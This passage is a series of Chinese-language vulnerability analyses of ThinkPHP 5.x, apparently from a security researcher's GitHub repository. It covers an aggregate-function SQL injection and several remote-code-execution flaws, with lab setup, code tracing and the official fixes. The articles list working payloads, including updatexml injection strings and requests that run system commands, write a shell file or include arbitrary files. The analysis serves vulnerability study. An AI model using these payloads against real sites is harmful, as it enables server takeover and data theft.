5 | 本次漏洞存在于所有 **Mysql** 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 **SQL** 语句,最终导致 **SQL注入漏洞** 的产生。漏洞影响版本: **5.0.0<=ThinkPHP<=5.0.21** 、 **5.1.3<=ThinkPHP5<=5.1.25** 。
6 |
7 | 不同版本 **payload** 需稍作调整:
8 |
9 | **5.0.0~5.0.21** 、 **5.1.3~5.1.10** : **id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23**
10 |
11 | **5.1.11~5.1.25** : **id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23**
12 |
13 | ## 漏洞环境
14 |
15 | 通过以下命令获取测试环境代码:
16 |
17 | ```bash
18 | composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
19 | ```
20 |
21 | 将 **composer.json** 文件的 **require** 字段设置成如下:
22 |
23 | ```json
24 | "require": {
25 | "php": ">=5.6.0",
26 | "topthink/framework": "5.1.25"
27 | },
28 | ```
29 |
30 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
31 |
32 | ```php
33 | get('options');
41 | $result = db('users')->max($options);
42 | var_dump($result);
43 | }
44 | }
45 | ```
46 |
47 | 在 **config/database.php** 文件中配置数据库相关信息,并开启 **config/app.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
48 |
49 | ```sql
50 | create database tpdemo;
51 | use tpdemo;
52 | create table users(
53 | id int primary key auto_increment,
54 | username varchar(50) not null
55 | );
56 | insert into users(id,username) values(1,'Mochazz');
57 | insert into users(id,username) values(2,'Jerry');
58 | insert into users(id,username) values(3,'Kitty');
59 | ```
60 |
61 | 访问 **http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
62 |
63 | 
64 |
65 | ## 漏洞分析
66 |
67 | 首先在官方发布的 **5.1.26** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
68 |
69 | 
70 |
71 | 我们可以查阅其 **commit** 记录,发现其改进了数据库驱动,代码中多了检测特殊字符的片段。接下来我们直接来分析代码。
72 |
73 | 
74 |
75 | 首先,用户可控数据未经过滤,传入 **Query** 类的 **max** 方法进行聚合查询语句构造,接着调用本类的 **aggregate** 方法。本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 **SQL注入** 问题。我们看到 **aggregate** 方法又调用了 **Mysql** 类的 **aggregate** 方法,在该方法中,我们可以明显看到程序将用户可控变量 **$field** ,经过 **parseKey** 方法处理后,与 **SQL** 语句进行了拼接。下面我们就来具体看看 **parseKey** 方法。
76 |
77 | 
78 |
79 | **parseKey** 方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过 **parseKey** 方法处理后,程序又回到了上图的 **$this->value()** 方法中,该方法会调用 **Builder** 类的 **select** 方法来构造 **SQL** 语句。这个方法应该说是在分析 **ThinkPHP** 漏洞时,非常常见的了。其无非就是使用 **str_replace** 方法,将变量替换到 **SQL** 语句模板中。这里,我们重点关注 **parseField** 方法,因为用户可控数据存储在 **$options['field']** 变量中并被传入该方法。
80 |
81 | 
82 |
83 | 进入 **parseField** 方法,我们发现用户可控数据只是经过 **parseKey** 方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 **SQL** 语句模板里,导致 **SQL注入漏洞** 的发生
84 |
85 | 
86 |
87 | ## 漏洞修复
88 |
89 | 官方的修复方法是:当匹配到除了 **字母、点号、星号** 以外的字符时,就抛出异常。
90 |
91 | 
92 |
93 | ## 攻击总结
94 |
95 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
96 |
97 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **ThinkPHP** 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 **远程代码执行漏洞** 的产生。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.23** 、**5.1.0<=ThinkPHP<=5.1.30**。不同版本 **payload** 需稍作调整(以下payload未全测试,部分来自网络):
6 |
7 | ```
8 | # ThinkPHP <= 5.0.13
9 | POST /?s=index/index
10 | s=whoami&_method=__construct&method=&filter[]=system
11 |
12 | # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
13 | POST /
14 | _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
15 |
16 | # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
17 | POST /?s=xxx HTTP/1.1
18 | _method=__construct&filter[]=system&method=get&get[]=ls+-al
19 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
20 | ```
21 |
22 | ## 漏洞环境
23 |
24 | 通过官网下载 **ThinkPHP 5.0.23** 完整版代码,搭建好后,发送如下数据包,即可触发 **远程代码执行漏洞** 。
25 |
26 | 
27 |
28 | ## 漏洞分析
29 |
30 | 首先在官方发布的 **5.0.24** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
31 |
32 | 
33 |
34 | 我们可以查阅其 **commit** 记录,发现其改进了。接下来,我们直接跟进代码一探究竟。
35 |
36 | 
37 |
38 | 这次我们不再直接跟着 **payload** 进行漏洞分析,而是通过官方的些许描述和 **github commit** 记录,来还原漏洞。从官方的修复代码中,我们可以很明显的看出 **$method** 来自可控的 **$_POST** 数组,而且在获取之后没有进行任何检查,直接把它作为 **Request** 类的方法进行调用,同时,该方法传入的参数是可控数据 **$_POST** 。也就相当于可以随意调用 **Request** 类的部分方法。
39 |
40 | 
41 |
42 | 同时,我们观察到 **Request** 类的 **__construct** 方法中存在类属性覆盖的功能,这对我们之后的利用非常有利, **Request** 类的所有属性如下:
43 |
44 | ```php
45 | protected $get protected static $instance;
46 | protected $post protected $method;
47 | protected $request protected $domain;
48 | protected $route protected $url;
49 | protected $put; protected $baseUrl;
50 | protected $session protected $baseFile;
51 | protected $file protected $root;
52 | protected $cookie protected $pathinfo;
53 | protected $server protected $path;
54 | protected $header protected $routeInfo
55 | protected $mimeType protected $env;
56 | protected $content; protected $dispatch
57 | protected $filter; protected $module;
58 | protected static $hook protected $controller;
59 | protected $bind protected $action;
60 | protected $input; protected $langset;
61 | protected $cache; protected $param
62 | protected $isCheckCache;
63 | ```
64 |
65 | 我们继续跟进程序,会发现如果框架在配置文件中开启了 **debug** 模式( `'app_debug'=> true` ),程序会调用 **Request** 类的 **param** 方法。这个方法我们需要特别关注了,因为 **Request** 类中的 `param、route、get、post、put、delete、patch、request、session、server、env、cookie、input` 方法均调用了 **filterValue** 方法,而该方法中就存在可利用的 **call_user_func** 函数。
66 |
67 | 
68 |
69 | 我们跟进 **param** 方法。发现其调用 **method** 方法(上图 **第16行** )。其会调用 **server** 方法,而在 **server** 方法中把 **$this->server** 传入了 **input** 方法。这个 **$this->server** 的值,我们可以通过先前 **Request** 类的 **__construct** 方法来覆盖赋值。也就是说,可控数据作为 **$data** 传入 **input** 方法,然后 **$data** 会被 **filterValue** 方法使用 **$filter** 过滤器处理。其中 **$filter** 的值部分来自 **$this->filter** ,又是可以通过先前 **Request** 类的 **__construct** 方法来覆盖赋值。
70 |
71 | 
72 |
73 | 接下来就是我们很熟悉的 **filterValue** 方法调用 **call_user_func** 处理数据的过程,代码执行也就是发生在这里。
74 |
75 | 
76 |
77 | 上面我们讲的是开启框架调试模式下,触发 **远程代码执行** 漏洞,接下来我们再来看看如果没有开启框架调试模式,是否可以利用该漏洞。在 **run** 方法中,会执行一个 **exec** 方法,当该方法中的 **$dispatch['type']** 等于 **controller** 或者 **method** 时,又会调用 **Request** 类的 **param** 方法。
78 |
79 | 
80 |
81 | 跟进 **Request** 类的 **param** 方法,我们发现其后面的调用过程又会和先前的分析一样了,这里不再赘述。
82 |
83 | 
84 |
85 | 现在我们还要解决一个问题,就是如何让 **$dispatch['type']** 等于 **controller** 或者 **method** 。通过跟踪代码,我们发现 **$dispatch['type']** 来源于 **parseRule** 方法中的 **$result** 变量,而 **$result** 变量又与 **$route** 变量有关系。这个 **$route** 变量取决于程序中定义的路由地址方式。
86 |
87 | 
88 |
89 | **ThinkPHP5** 中支持 **5种** 路由地址方式定义:
90 |
91 | | 定义方式 | 定义格式 |
92 | | ------------------------- | ------------------------------------------------------------ |
93 | | 方式1:路由到模块/控制器 | '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...' |
94 | | 方式2:路由到重定向地址 | '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码'] |
95 | | 方式3:路由到控制器的方法 | '@[模块/控制器/]操作' |
96 | | 方式4:路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法' |
97 | | 方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
98 |
99 | 而在 **ThinkPHP5** 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 **vendor** 目录下的文件加载,这样在 **GET** 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 **$dispatch['type']** 等于 **method** ,从而完成 **远程代码执行** 漏洞。
100 |
101 | 
102 |
103 | 所以最终的 **payload** 类似下面这样:
104 |
105 | ```http
106 | POST /index.php?s=captcha HTTP/1.1
107 | ⋮
108 | Content-Length: 59
109 |
110 | _method=__construct&filter[]=system&method=get&get[]=ls+-al
111 | # 或者
112 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
113 | ```
114 |
115 | ## 漏洞修复
116 |
117 | 官方的修复方法是:对请求方法 **$method** 进行白名单校验。
118 |
119 | 
120 |
121 | ## 攻击总结
122 |
123 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
124 |
125 | 
126 |
127 | ## 参考
128 |
129 | [ThinkPHP 5.x RCE 漏洞分析与利用总结](https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html)
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/10.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/11.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/12.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10/9.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **ThinkPHP** 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 **.php** 文件中,攻击者通过精心构造的 **payload** ,即可将 **webshell** 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 **远程代码执行漏洞** 。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.10** 。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.0.10 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.4.0",
20 | "topthink/framework": "5.0.10"
21 | },
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | options['data_compress']** 变量默认情况下为 **false** ,所以数据不会经过 **gzcompress** 函数处理。虽然在序列化数据前面拼接了单行注释符 **//** ,但是我们可以通过注入换行符绕过该限制。
51 |
52 | 
53 |
54 | 现在我们就来看看缓存文件的名字是如何生成的。从上一张图片 **第142行** ,我们可以看到文件名是通过调用 **getCacheKey** 方法获得的,我们跟进该方法。可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 **name** )。程序先获得键名的 **md5** 值,然后将该 **md5** 值的前 **2** 个字符作为缓存子目录,后 **30** 字符作为缓存文件名。如果应用程序还设置了前缀 **$this->options['prefix']** ,那么缓存文件还将多一个上级目录。
55 |
56 | 
57 |
58 | 至此,我们已将本次漏洞分析完毕,接下来还想说说关于该漏洞的一些细节。首先,这个漏洞要想利用成功,我们得知道缓存类所设置的键名,这样才能找到 **webshell** 路径;其次如果按照官方说明开发程序, **webshell** 最终会被写到 **runtime** 目录下,而官方推荐 **public** 作为 **web** 根目录,所以即便我们写入了 **shell** ,也无法直接访问到;最后如果程序有设置 **$this->options['prefix']** 的话,在没有源码的情况下,我们还是无法获得 **webshell** 的准确路径。
59 |
60 | ## 漏洞修复
61 |
62 | 官方的修复方法是:将数据拼接在 **php** 标签之外,并在 **php** 标签中拼接 **exit()** 函数。
63 |
64 | 
65 |
66 | ## 攻击总结
67 |
68 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
69 |
70 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **远程代码执行** 漏洞。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **ThinkPHP** 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 **远程代码执行漏洞** 的产生。漏洞影响版本: **5.0.7<=ThinkPHP5<=5.0.22** 、**5.1.0<=ThinkPHP<=5.1.30**。不同版本 **payload** 需稍作调整:
6 |
7 | **5.1.x** :
8 |
9 | ```
10 | ?s=index/\think\Request/input&filter[]=system&data=pwd
11 | ?s=index/\think\view\driver\Php/display&content=
12 | ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
13 | ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
14 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
15 | ```
16 |
17 | **5.0.x** :
18 |
19 | ```
20 | ?s=index/think\config/get&name=database.username # 获取配置信息
21 | ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
22 | ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
23 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
24 | ```
25 |
26 | ## 漏洞环境
27 |
28 | 通过以下命令获取测试环境代码:
29 |
30 | ```bash
31 | composer create-project --prefer-dist topthink/think tpdemo
32 | ```
33 |
34 | 将 **composer.json** 文件的 **require** 字段设置成如下:
35 |
36 | ```json
37 | "require": {
38 | "php": ">=5.6.0",
39 | "topthink/framework": "5.1.30"
40 | },
41 | ```
42 |
43 | 然后执行 `composer update` 。接着访问 **http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1** 链接,即可触发 **远程代码执行漏洞** 。
44 |
45 | 
46 |
47 | ## 漏洞分析
48 |
49 | 首先在官方发布的 **5.1.31** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
50 |
51 | 
52 |
53 | 官方微信 [公众号](https://mp.weixin.qq.com/s/ie9Evj1Cedw4OomgkJug5A) 中有对本次安全更新的些许描述:
54 |
55 | > 本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
56 |
57 | 我们可以查阅其 **commit** 记录,发现其增加了对控制器名的检测。接下来,我们直接跟进代码一探究竟。
58 |
59 | 
60 |
61 | 这次我们不再直接跟着 **payload** 进行漏洞分析,而是通过官方的些许描述和 **github commit** 记录,来还原漏洞。首先,默认情况下安装的 **ThinkPHP** 是没有开启强制路由选项,而且默认开启路由兼容模式。
62 |
63 | 
64 |
65 | 而从官方的更新描述中可以提取出两个关键点:
66 |
67 | - 控制器名
68 | - 强制路由
69 |
70 | 在没有开启强制路由,说明我们可以使用路由兼容模式 **s** 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 **http://site/?s=模块/控制器/方法** 来测试一下。在先前的 **ThinkPHP SQL注入** 分析文章中,我们都有提到所有用户参数都会经过 **Request** 类的 **input** 方法处理,该方法会调用 **filterValue** 方法,而 **filterValue** 方法中使用了 **call_user_func** ,那么我们就来尝试利用这个方法。访问如下链接:
71 |
72 | ```
73 | http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd
74 | ```
75 |
76 | 会发现可以成功执行命令。接下来,我们直接在官方修改的 **$controller** 代码段打下断点。我们可以看到控制器的名字是从 **$result** 中获取的,而 **$result** 的值来源于兼容模式下的 **pathinfo** ,即 **s** 参数。
77 |
78 | 
79 |
80 | 接着程序会跳回 **App** 类的 **run** 方法,进而调用 **Dispatch** 类的 **run** 方法,该方法会调用关键函数 **exec** ,我们跟进。
81 |
82 | 
83 |
84 | 在 **exec** 函数中,程序利用反射机制,调用类的方法。这里的类、方法、参数均是我们可以控制的。而且整个过程,并没有看到程序对控制器名的合法性进行检测,这也是导致 **远程代码执行漏洞** 的直接原因。
85 |
86 | 
87 |
88 | 以上是针对 **ThinkPHP5.1.x** 版本的漏洞分析。如果直接拿该版本的 **payload** 去测试 **ThinkPHP5.0.x** 版本,会发现很多 **payload** 都不能成功。其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同。具体如下:
89 |
90 | ```
91 | ThinkPHP 5.1.x ThinkPHP 5.0.x
92 | stdClass stdClass
93 | Exception Exception
94 | ErrorException ErrorException
95 | Closure Closure
96 | Generator Generator
97 | DateTime DateTime
98 | DateTimeImmutable DateTimeImmutable
99 | DateTimeZone DateTimeZone
100 | DateInterval DateInterval
101 | DatePeriod DatePeriod
102 | LibXMLError LibXMLError
103 | DOMException DOMException
104 | DOMStringList DOMStringList
105 | DOMNameList DOMNameList
106 | DOMImplementationList DOMImplementationList
107 | DOMImplementationSource DOMImplementationSource
108 | DOMImplementation DOMImplementation
109 | DOMNode DOMNode
110 | DOMNameSpaceNode DOMNameSpaceNode
111 | DOMDocumentFragment DOMDocumentFragment
112 | DOMDocument DOMDocument
113 | DOMNodeList DOMNodeList
114 | DOMNamedNodeMap DOMNamedNodeMap
115 | DOMCharacterData DOMCharacterData
116 | DOMAttr DOMAttr
117 | DOMElement DOMElement
118 | DOMText DOMText
119 | DOMComment DOMComment
120 | DOMTypeinfo DOMTypeinfo
121 | DOMUserDataHandler DOMUserDataHandler
122 | DOMDomError DOMDomError
123 | DOMErrorHandler DOMErrorHandler
124 | DOMLocator DOMLocator
125 | DOMConfiguration DOMConfiguration
126 | DOMCdataSection DOMCdataSection
127 | DOMDocumentType DOMDocumentType
128 | DOMNotation DOMNotation
129 | DOMEntity DOMEntity
130 | DOMEntityReference DOMEntityReference
131 | DOMProcessingInstruction DOMProcessingInstruction
132 | DOMStringExtend DOMStringExtend
133 | DOMXPath DOMXPath
134 | finfo finfo
135 | LogicException LogicException
136 | BadFunctionCallException BadFunctionCallException
137 | BadMethodCallException BadMethodCallException
138 | DomainException DomainException
139 | InvalidArgumentException InvalidArgumentException
140 | LengthException LengthException
141 | OutOfRangeException OutOfRangeException
142 | RuntimeException RuntimeException
143 | OutOfBoundsException OutOfBoundsException
144 | OverflowException OverflowException
145 | RangeException RangeException
146 | UnderflowException UnderflowException
147 | UnexpectedValueException UnexpectedValueException
148 | RecursiveIteratorIterator RecursiveIteratorIterator
149 | IteratorIterator IteratorIterator
150 | FilterIterator FilterIterator
151 | RecursiveFilterIterator RecursiveFilterIterator
152 | CallbackFilterIterator CallbackFilterIterator
153 | RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator
154 | ParentIterator ParentIterator
155 | LimitIterator LimitIterator
156 | CachingIterator CachingIterator
157 | RecursiveCachingIterator RecursiveCachingIterator
158 | NoRewindIterator NoRewindIterator
159 | AppendIterator AppendIterator
160 | InfiniteIterator InfiniteIterator
161 | RegexIterator RegexIterator
162 | RecursiveRegexIterator RecursiveRegexIterator
163 | EmptyIterator EmptyIterator
164 | RecursiveTreeIterator RecursiveTreeIterator
165 | ArrayObject ArrayObject
166 | ArrayIterator ArrayIterator
167 | RecursiveArrayIterator RecursiveArrayIterator
168 | SplFileInfo SplFileInfo
169 | DirectoryIterator DirectoryIterator
170 | FilesystemIterator FilesystemIterator
171 | RecursiveDirectoryIterator RecursiveDirectoryIterator
172 | GlobIterator GlobIterator
173 | SplFileObject SplFileObject
174 | SplTempFileObject SplTempFileObject
175 | SplDoublyLinkedList SplDoublyLinkedList
176 | SplQueue SplQueue
177 | SplStack SplStack
178 | SplHeap SplHeap
179 | SplMinHeap SplMinHeap
180 | SplMaxHeap SplMaxHeap
181 | SplPriorityQueue SplPriorityQueue
182 | SplFixedArray SplFixedArray
183 | SplObjectStorage SplObjectStorage
184 | MultipleIterator MultipleIterator
185 | SessionHandler SessionHandler
186 | ReflectionException ReflectionException
187 | Reflection Reflection
188 | ReflectionFunctionAbstract ReflectionFunctionAbstract
189 | ReflectionFunction ReflectionFunction
190 | ReflectionParameter ReflectionParameter
191 | ReflectionMethod ReflectionMethod
192 | ReflectionClass ReflectionClass
193 | ReflectionObject ReflectionObject
194 | ReflectionProperty ReflectionProperty
195 | ReflectionExtension ReflectionExtension
196 | ReflectionZendExtension ReflectionZendExtension
197 | __PHP_Incomplete_Class __PHP_Incomplete_Class
198 | php_user_filter php_user_filter
199 | Directory Directory
200 | SimpleXMLElement SimpleXMLElement
